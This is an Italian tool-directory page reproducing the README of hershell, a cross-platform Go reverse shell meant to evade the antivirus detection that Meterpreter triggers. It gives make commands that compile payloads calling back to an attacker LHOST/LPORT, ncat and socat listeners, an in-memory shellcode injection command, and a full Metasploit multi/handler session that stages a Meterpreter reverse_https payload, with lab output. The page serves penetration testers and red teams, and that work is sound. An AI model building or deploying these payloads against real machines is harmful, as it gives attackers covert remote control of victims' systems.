Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/lesnuages/hershell
Strumenti di Crittografia/DecrittografiaGenerazione di PayloadExploitShellcodePost-ExploitPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHublesnuages/hershell

hershell

Generatore di reverse shell multipiattaforma

592986 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Hershell

Semplice reverse shell TCP scritta in Go.

Utilizza TLS per proteggere le comunicazioni e fornisce una funzionalità di pinning dell'impronta digitale della chiave pubblica del certificato, prevenendo l'intercettazione del traffico.

I sistemi operativi supportati sono:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD e derivati

Perché ?

Sebbene i payload meterpreter siano ottimi, a volte vengono rilevati dai prodotti antivirus.

L'obiettivo di questo progetto è ottenere una semplice reverse shell, che possa funzionare su più sistemi.

Come ?

Poiché è scritto in Go, puoi cross-compilare il codice sorgente per l'architettura desiderata.

Primi passi e dipendenze

Poiché questo è un progetto Go, dovrai seguire la documentazione ufficiale per impostare il tuo ambiente Golang (con la variabile d'ambiente $GOPATH).

Quindi, esegui semplicemente go get github.com/lesnuages/hershell per scaricare il progetto.

Compilare il payload

Per semplificare le cose, puoi usare il Makefile fornito. Puoi impostare le seguenti variabili d'ambiente:

  • GOOS : il sistema operativo target
  • GOARCH : l'architettura target
  • LHOST : l'IP o il nome di dominio dell'attaccante
  • LPORT : la porta del listener

Per le variabili GOOS e GOARCH, puoi ottenere i valori consentiti qui.

Tuttavia, alcuni target helper sono disponibili nel Makefile:

  • depends : genera il certificato del server (richiesto per la reverse shell)
  • windows32 : compila un eseguibile Windows a 32 bit (PE 32 bit)
  • windows64 : compila un eseguibile Windows a 64 bit (PE 64 bit)
  • linux32 : compila un eseguibile Linux a 32 bit (ELF 32 bit)
  • linux64 : compila un eseguibile Linux a 64 bit (ELF 64 bit)
  • macos32 : compila un eseguibile macOS a 32 bit (Mach-O)
  • macos64 : compila un eseguibile macOS a 64 bit (Mach-O)

Per questi target, devi solo impostare le variabili d'ambiente LHOST e LPORT.

Utilizzare la shell

Una volta eseguita, ti verrà fornita una shell remota. Questa shell interattiva personalizzata ti permetterà di eseguire comandi di sistema tramite cmd.exe su Windows, o /bin/sh su macchine UNIX.

I seguenti comandi speciali sono supportati:

  • run_shell : ti apre una shell di sistema (permettendoti, ad esempio, di cambiare directory)
  • inject <shellcode base64> : inietta uno shellcode (codificato in base64) nella memoria dello stesso processo e lo esegue
  • meterpreter [tcp|http|https] IP:PORTA : si connette a un multi/handler per ottenere un meterpreter stage2 reverse tcp, http o https da metasploit ed esegue lo shellcode in memoria (solo Windows al momento)
  • exit : esce normalmente

Utilizzo

Prima di tutto, dovrai generare un certificato valido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Per Windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Per Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Per Mac OS X:

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Esempi

Utilizzo di base

Si possono usare vari strumenti per gestire le connessioni in entrata, come:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (con un payload python/shell_reverse_tcp_ssl)

Ecco un esempio con ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Ecco un esempio con socat (testato con la versione 1.7.3.2):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

Staging Meterpreter

AVVERTENZA: attualmente funziona solo per la piattaforma Windows.

Lo staging meterpreter supporta attualmente i seguenti payload :

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Per usare quello corretto, specifica semplicemente il trasporto che vuoi utilizzare (tcp, http, https)

Per utilizzare la funzionalità di staging meterpreter, avvia il tuo handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Quindi, in hershell, usa il comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Una nuova sessione meterpreter dovrebbe apparire in msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Crediti

@khast3x per la funzionalità Dockerfile

Scarica lo strumento